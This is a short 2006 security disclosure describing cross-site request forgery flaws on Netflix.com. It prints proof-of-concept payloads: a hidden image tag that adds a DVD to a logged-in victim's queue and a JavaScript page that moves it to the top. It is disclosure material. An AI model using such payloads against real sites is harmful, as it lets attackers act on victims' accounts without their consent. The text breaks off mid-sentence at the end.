description: "Dave Ferguson's October 2006 disclosure of CSRF on Netflix.com. A single hidden image tag adds a DVD to a logged-in visitor's queue; a little JavaScript moves it to the top so it ships before the victim notices. The same class of request could change the account name, address, email and password, or cancel the account outright."

I just posted information to the Full Disclosure list about a Cross
Site Request Forgery (XSRF) vulnerability on Netflix.com.  Netflix has
recently fixed several of the most serious issues.
```

```
Some of you in the U.S. may be Netflix subscribers.  Here are some of
the things that could have been done to you if you visited the wrong
web page.
```

```
- add movies to your rental queue
- add a movie to the top of your rental queue
- change the name and address on your account
- change the email address and password on your account (i.e., take
over your account)
- cancel your account (Unconfirmed/Conjectured)
```

```
The exploits are extremely simple and are especially effective if the
victim chooses to stay logged on to the Netflix site.  For example, to
add a DVD to a victim's queue, an attacker would add an image tag to
his web page and just wait for Netflix subscribers to visit the page.
```

```
<img src="[http://www.netflix.com/AddToQueue?movieid=70011204"](http://www.netflix.com/AddToQueue?movieid=70011204");
width="1" height="1" border="0">
```

```
Adding a DVD to the top of the queue takes a little JavaScript, but is
even nastier because it would probably be shipped before the victim
knew what had happened.
```

```
<html>
<head>
<script language="JavaScript" type="text/javascript">
function load_image2()
{
 var img2 = new Image();
 img2.src="[http://www.netflix.com/MoveToTop?movieid=70023965&fromq=true"](http://www.netflix.com/MoveToTop?movieid=70023965&fromq=true");;
}
</script>
</head>
<body>
<img src="[http://www.netflix.com/AddToQueue?movieid=70023965"](http://www.netflix.com/AddToQueue?movieid=70023965");
width="1" height="1" border="0">
<script>
setTimeout( 'load_image2()', 2000 );
</script>
</body>
</html>
```

```
I think XSRF could be a sleeping giant, kind of like XSS was a year or
two ago.  Jesse Burns has a great whitepaper about XSRF here:
